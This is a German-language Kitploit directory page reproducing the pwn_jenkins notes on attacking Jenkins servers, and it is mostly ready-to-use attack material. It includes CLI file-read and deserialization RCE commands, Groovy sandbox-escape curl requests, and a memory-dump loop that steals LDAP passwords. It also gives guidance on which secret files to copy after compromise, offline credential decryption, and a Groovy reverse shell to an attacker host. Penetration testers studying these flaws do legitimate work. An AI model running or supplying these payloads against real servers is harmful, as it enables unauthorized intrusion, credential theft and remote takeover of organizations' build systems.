Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwn_jenkins — Notes about attacking Jenkins servers | Kitploit
Tools/GitHubGitHub/gquere/pwn_jenkins
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingSecret DetectionPayload Development
GitHubgquere/pwn_jenkins

pwn_jenkins

Notes about attacking Jenkins servers

2.1k326vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Remote Code Execution

Beliebiges Dateilesen über die Jenkins-CLI (CVE-2024-23897 betrifft Versionen unter 2.442 und LTS 2.426.3)

Jenkins-Sicherheitshinweis, Credits

Authentifiziert kann eine vollständige Datei ausgelesen werden:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Ohne Authentifizierung oder ohne Global/Read-Berechtigungen können nur 3 Zeilen gelesen werden: Erste Zeile lesen:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Zweite Zeile lesen:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Dritte Zeile lesen:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

So kann der Verschlüsselungsschlüssel der Anmeldedaten per Brute-Force geknackt werden.

Deserialisierungs-RCE in alten Jenkins-Versionen (CVE-2015-8103, Jenkins 1.638 und älter)

Verwende ysoserial, um einen Payload zu erzeugen. Danach RCE mit diesem Skript:

root@kitploit:~
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentifizierungs-/ACL-Bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins-Sicherheitshinweis

Details hier.

Wenn die Jenkins-Instanz bei der folgenden Anfrage eine Authentifizierung verlangt, aber gültige Daten zurückgibt, ist sie verwundbar:

root@kitploit:~
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE durch Metaprogrammierung in Jenkins-Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Jenkins-Sicherheitshinweis

Ursprüngliche RCE-Schwachstelle hier, vollständiger Exploit hier.

Alternative RCE mit Overall/Read- und Job/Configure-Berechtigungen hier.

CheckScript-RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Jenkins-Sicherheitshinweis, Credits.

Prüfe mit etwas Groovy, ob eine Jenkins-Instanz verwundbar ist (erfordert Overall/Read-Berechtigungen):

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Hinweis: Falls du einen 403-Fehler wegen eines fehlenden Crumb erhältst (eine CSRF-Schutzmaßnahme in Jenkins), kannst du den Crumb-Wert möglicherweise mit einer GET-Anfrage an https://example.com/crumbIssuer/api/json abrufen. Der Crumb-Wert muss dann zur POST-Anfrage in einem Jenkins-Crumb-Header hinzugefügt werden.

Beliebige Bash-Befehle ausführen:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Wenn du nicht sofort eine Reverse Shell erhältst, kannst du das Problem debuggen, indem du eine Exception auslöst:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE im Git-Plugin (<3.12.0) in Jenkins (CVE-2019-10392)

Jenkins-Sicherheitshinweis, Credits.

Dies funktioniert nur, wenn ein Benutzer die Rechte 'Jobs/Configure' in der Sicherheitsmatrix besitzt, ist also sehr spezifisch.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Jenkins-Sicherheitshinweis, Credits

Beachte, dass dies nur ausnutzbar ist, wenn ein dediziertes und veraltetes Update Center verwendet wird. Daher sind die meisten Server nicht verwundbar.

Builds auslesen, um Klartext-Geheimnisse zu finden

Verwende dieses Skript, um Build-Konsolenausgaben und Build-Umgebungsvariablen auszulesen und hoffentlich Klartext-Geheimnisse zu finden.

root@kitploit:~
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Password Spraying

Verwende dieses Python-Skript oder dieses PowerShell-Skript.

Dateien, die nach einer Kompromittierung kopiert werden sollten

Diese Dateien werden benötigt, um Jenkins-Geheimnisse zu entschlüsseln:

  • secrets/master.key
  • secrets/hudson.util.Secret

Solche Geheimnisse finden sich normalerweise in:

  • credentials.xml
  • jobs/.../build.xml

Hier ist ein Regexp, um sie zu finden:

root@kitploit:~
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

LDAP-Anmeldedaten auf einer kompromittierten Maschine auslesen

Wenn Jenkins so konfiguriert ist, dass Benutzeranmeldedaten zur Verifizierung an ein LDAP weitergereicht werden (was zwar dumm, aber eine häufige Schwachstelle in Unternehmen ist), ist es möglich, diese Klartext-Benutzeranmeldedaten durch einen Speicherdump des Java-Prozesses wiederherzustellen. Angenommen, der Jenkins-Server hat die PID 7, führt die folgende Schleife alle 30 Sekunden einen Speicherdump des Stacks durch:

root@kitploit:~
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

Eine kleine Verzögerung ist wichtig, da der Garbage Collector die Anmeldedaten-Strukturen regelmäßig freigibt.

Jenkins-Geheimnisse offline entschlüsseln

Verwende dieses Skript, um zuvor ausgelesene Geheimnisse zu entschlüsseln.

root@kitploit:~
Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy-Skripte

Jenkins-Geheimnisse aus Groovy entschlüsseln

root@kitploit:~
println(hudson.util.Secret.decrypt("{...}"))

Befehlsausführung aus Groovy

root@kitploit:~
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Mehrzeiliger Shell-Befehl, der Pipes, Redirects und Ähnliches enthalten kann:

root@kitploit:~
def proc = ['bash', '-c', '''your_long_command_here'''].execute();

Automatisiere dies mit diesem Skript.

Befehlsausführung auf einem bestimmten Slave

Standardmäßig erfolgt die Ausführung auf dem Master-Knoten. Verwende dieses Skript, um auf einem bestimmten Slave auszuführen:

root@kitploit:~
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

Reverse Shell aus Groovy

root@kitploit:~
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Ich hinterlasse hier diesen Reverse-Shell-Tipp, um ein voll funktionsfähiges PTY zu erhalten, falls ihn jemand braucht:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
Tool herunterladen